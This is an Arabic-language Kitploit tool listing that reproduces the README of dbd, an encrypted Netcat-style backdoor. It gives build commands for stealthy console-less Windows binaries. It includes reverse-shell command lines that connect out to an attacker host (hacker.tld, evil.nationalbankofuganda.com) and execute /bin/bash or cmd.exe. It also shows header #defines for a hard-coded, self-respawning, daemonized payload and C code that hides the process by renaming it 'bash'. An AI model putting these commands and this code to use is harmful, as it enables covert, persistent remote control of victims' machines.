Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
dbd — الباب الخلفي لدوراندال | Kitploit
أدوات/GitHubGitHub/gitdurandal/dbd
أدوات التشفير/فك التشفيرالاستغلالما بعد الاستغلالأمن الشبكاتاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubgitdurandal/dbd

dbd

الباب الخلفي لدوراندال

15238منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
الموقع الإلكتروني

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#باب دوراندال الخلفي #حقوق الطبع والنشر (C) 2013 Kyle Barnthouse [email protected] #يُوزَّع dbd بموجب رخصة جنو العمومية (GNU GPL) #أُضيف الملف الثنائي Mipsbe بواسطة Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###الملخص

dbd هو استنساخ من Netcat، صُمِّم ليكون محمولاً ويوفّر تشفيراً قوياً. يعمل على أنظمة التشغيل الشبيهة بيونكس وعلى Microsoft Win32. يتميز dbd بتشفير AES-CBC-128 + HMAC-SHA1 (بواسطة Christophe Devine)، وتنفيذ البرامج (خيار -e)، واختيار منفذ المصدر، وإعادة الاتصال المستمرة مع تأخير، وبعض المزايا المفيدة الأخرى. يدعم dbd الاتصال عبر TCP/IP فقط. يُوزَّع الكود المصدري والملفات الثنائية بموجب رخصة جنو العمومية (GNU General Public License).

###التجميع

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

لتجميع dbd على نظام تشغيل شبيه بيونكس، تحتاج إلى gcc وأدوات التطوير ذات الصلة. بالنسبة إلى Linux وFreeBSD وNetBSD وOpenBSD (وربما أنظمة أخرى)، اكتب:

root@kitploit:~
$ make unix

بالنسبة إلى SunOS/Solaris، اكتب:

root@kitploit:~
$ make sunos

لتجميع dbd على Microsoft Windows (NT/2K/XP/2K3) تحتاج إلى MinGW+MSYS، أو Cygwin مع دعم تطوير كامل (مترجم MinGW gcc الخاص بـ Cygwin). لتجميع تطبيق Win32 أصلي خاص بوحدة التحكم (console) من dbd على Cygwin، اكتب:

root@kitploit:~
$ make win32

أو، على MSYS:

root@kitploit:~
$ make mingw

لتجميع تطبيق بدون وحدة تحكم ("WinMain") على Cygwin، اكتب:

root@kitploit:~
$ make win32bg

أو، على MSYS:

root@kitploit:~
$ make mingwbg

لتجميع تطبيق وحدة تحكم خاص بـ Cygwin، اكتب:

root@kitploit:~
$make cygwin

قد ترغب في تغيير السلوك الافتراضي لـ dbd. من أهم الأمور تغيير السر المشترك الافتراضي إلى عبارة مرور خاصة بك. عدّل ملف dbd.h واستبدل القيم بتفضيلاتك. قد ترغب، على سبيل المثال، في ترميز مضيف ومنفذ بشكل ثابت للاتصال بهما إذا تم تشغيل dbd دون خيارات. توجد أمثلة كاملة في ملف dbd.h.

###أمثلة على الاستخدام

مع قليل من الخيال، يمكن استخدام dbd لأشياء كثيرة:

استخدم dbd لنقل الملفات بشكل آمن بين شبكتين:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

أو من win32:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

استخدم dbd كدردشة بسيطة (ولكن آمنة):

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

استخدم dbd كباب خلفي لاختبار الاختراق:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

أو على أنظمة التشغيل الشبيهة بيونكس:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###خيارات الترميز الثابت (Hard Coding)

بالإضافة إلى استخدام خيارات سطر الأوامر، يمكنك ترميز المتغيرات بشكل ثابت باستخدام #defines في ملف dbd.h. للقيام بذلك، عيّن المتغيرات التي تريد استخدامها كثوابت مسماة ثم قم بالتجميع كالمعتاد. على سبيل المثال، إذا أردت ترميز ملف تنفيذي من dbd بشكل ثابت يتصل مرة أخرى بـ "evil.nationalbankofuganda.com" على المنفذ 995، وينفّذ "/bin/bash"، يمكنك تشغيل:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

أو باستخدام #defines مُرمّزة، يمكنك تعديل ملف dbd.h:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
يمكنك أيضاً ضبط خيارات إعادة الإنشاء (respawn) والتمويه للمساعدة في الحفاظ على اتصالك:
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

سيؤدي هذا إلى ضبط الاتصال ليصبح عملية خلفية (daemonize) ("يذوب" بمصطلحات البرمجيات الخبيثة)، وعدم إرسال أي مخرجات إلى STDOUT أبداً، ومحاولة إعادة إنشاء الاتصال كل 15 دقيقة إذا انقطع عن المستمع (listener).

###تقنية التمويه الرومولانية (Romulan Cloaking Technology)

الآن نصل إلى الجزء الممتع. بمجرد أن تصبح خبيراً في ترميز الخيارات داخل بابك الخلفي، يمكنك استخدام ما هو على الأرجح أكثر ثابت مسمّى متعةً بين ما نملكه: CLOAK. للقيام بذلك، ببساطة عيّن القيمة:

root@kitploit:~
#define CLOAK 1

ملاحظة: يعمل هذا حالياً على تجميعات *nix فقط. أخطط في النهاية لإضافة ترحيل/تعليق العمليات (process migration/hooking) على Win32 حتى تحظى تلك الأهداف أيضاً ببعض الحب الرومولاني.

بالنسبة لبيئات *nix، يقوم هذا الخيار بمسح argv[0] واستبداله بالسلسلة "bash\0". كما يمسح جميع argv[] الأخرى (سيبدو سخيفاً إذا أرجعت ps "bash -e /bin/bash someremotehost.com 443"، أليس كذلك؟) آمل أن يكون من البديهي أنه لا يمكنك استخدام هذا الخيار إلا إذا كنت ترمّز متغيراتك بشكل ثابت داخل DBD.H. أيضاً، إذا كنت تختبر هذا على نظامك الخاص، فسيكون من الممتع اختيار الـ pid الصحيح لقتله. ;)

لا تتردد في استخدام هذا الماسح (scrubber) في أي شيء تعمل عليه:

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###تحذير

لا تمرر مدخلات مخزنة مؤقتاً (ملفاً يحتوي أوامر أو ما شابه) إلى جلسة "dbd -e" في وضع الاستماع. يستخدم "dbd -e" الأنابيب (pipes) لتمرير البيانات بين البرنامج المنفَّذ وdbd. تُستخدم الأنابيب (بدلاً من تمرير واصفات ملفات مكررة مباشرة) بسبب التشفير بين الأنابيب والمقبس (socket). لمنع طرف الكتابة في أحد الأنابيب من حظر العملية بأكملها، تم تحويله إلى واصف غير محظور (non-blocking). هناك احتمال أنه عند تمرير كمية كبيرة جداً من المدخلات في وقت واحد إلى برنامج -e، فسيتم اقتطاعها (قصّها) لأن المخزن المؤقت للأنبوب (في نظام التشغيل) لا يمكنه استيعاب جميع البيانات. يمكن حل هذه المشكلة على سبيل المثال بجعل dbd متعدد الخيوط (multi-threaded)، لكنني سأتجنب ذلك لأطول فترة ممكنة لأسباب تتعلق بالتوافق.

##التجميع المتقاطع (Cross-Compiling)

بما أن dbd صُمِّم للتوافق مع الأدوات/الأطر الأخرى، يتيح make الآن التجميع المتقاطع لـ win32 على أنظمة Linux التي تمتلك سلسلة أدوات mingw32-gcc. هذه الخيارات مطابقة تقريباً لنظيراتها الأصلية على Windows مع إضافة "-cross" بعد البناء المختار. مثال:

root@kitploit:~
$ make mingw-cross

سيقوم بنفس الشيء على نظام Linux الذي سيقوم به

root@kitploit:~
$ make mingw

على نظام win32 مع تثبيت mingw/msys عليه.

حالياً، جميع خيارات التجميع المتقاطع مبنية مع وضع Kali Linux في الاعتبار، لكنها يجب أن تعمل على أي *nix مع قليل من اللمسة. إذا كان mingw32-gcc مثبتاً لديك ولا يعمل make، فعدّل متغير WCC في أعلى ملف Makefile وضع مسار ملف mingw32-gcc الثنائي لديك.

اعتباراً من dbd-1.5 يمكنك استخدام أي سلسلة أدوات تجميع متقاطع لتجميع dbd عن طريق تعيين بادئة سلسلة الأدوات على أنها CROSS_COMPILE. على سبيل المثال، بناء نسخة arm سهل مثل:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##حيل متقدمة

إذا كنت ترغب في دمج dbd مع إطار عمل لاستغلال الثغرات، يمكنك كتابة وحدة (module) تولّد ملف dbd.h مخصصاً مع خيارات تكوين خاصة بهدفك. أي شيء غير معرّف صراحةً عبر #defined في هذا الملف سيظل يستخدم القيم الافتراضية، لذلك لا يتعين عليك كتابة كل شيء في ملف الرأس. مثال: احذف ملف dbd.h باستخدام rm واستبدله بـ:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

ثم استدعِ make <خيارات الهدف> لبناء حمولة (payload) ذاتية الاتصال مع تمويه وإعادة إنشاء، تتصل مرة أخرى بعميل dbd في وضع الاستماع على evil.nationalbankofuganda.com يعمل بالخيارات:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

خدعة متقدمة أخرى هي تجميع dbd باستخدام dietlibc أو uClibc. لتجميع عميل dbd لنظام Linux مع dietlibc، استخدم:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

انتبه إلى المسافة بعد حرف s في السلسلة. هذا يتيح لملف Makefile إضافة gcc مع CFLAGS وLDFLAGS القياسية حتى يُبنى عميلك بشكل صحيح. ميزة استخدام dietlibc هي أنه ينتج ملفاً تنفيذياً ثابتاً صغيراً جداً بنسبة 100% للبيئة المستهدفة (حوالي 70K لعميل dbd على Linux قبل الضغط، مقابل 700K+ القياسية مع glibc وgcc -static). استخدام uClibc أسهل حتى، لأنك فقط تضبط بادئة التجميع المتقاطع لسلسلة الأدوات الخاصة بك ضمن CROSS_COMPILE.

##الترخيص

dbd حقوق الطبع والنشر (C) 2013 Kyle Barnthouse [email protected]

هذا البرنامج برنامج حر؛ يمكنك إعادة توزيعه و/أو تعديله بموجب شروط رخصة جنو العمومية (GNU General Public License) كما تنشرها مؤسسة البرمجيات الحرة (Free Software Foundation)؛ إما الإصدار 2 من الرخصة، أو (حسب اختيارك) أي إصدار لاحق.

يُوزَّع هذا البرنامج على أمل أن يكون مفيداً، ولكن دون أي ضمان؛ حتى دون الضمان الضمني للتسويق (MERCHANTABILITY) أو الملاءمة لغرض معين (FITNESS FOR A PARTICULAR PURPOSE). راجع رخصة جنو العمومية لمزيد من التفاصيل.

يجب أن تكون قد تلقيت نسخة من رخصة جنو العمومية مع هذا البرنامج؛ إذا لم يكن الأمر كذلك، فاكتب إلى Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

راجع ملف COPYING لمزيد من المعلومات.


تنفيذ dbd لتشفير AES-CBC-128 + HMAC-SHA1 هو حقوق طبع ونشر (C) Christophe Devine [email protected] ويُوزَّع بموجب رخصة جنو العمومية (GPL).

بعض الكود (لـ doexec_win32.h) مشتق من doexec.c من منفذ Win32 الخاص بـ Netcat (C) Weld Pond وhobbit. أجزاء من doexec.c حقوق الطبع والنشر (C) 1994 Nathaniel W. Mishkin (كود doexec.c مشتق أصلاً من rlogind.exe).

النسخة الأصلية من Netcat كتبها hobbit [email protected]. نسخة NT قام بها Weld Pond [email protected].


(C) Kyle Barnthouse [email protected] مستشار أمني
gitbrew.org
Hephaestus Security

تنزيل الأداة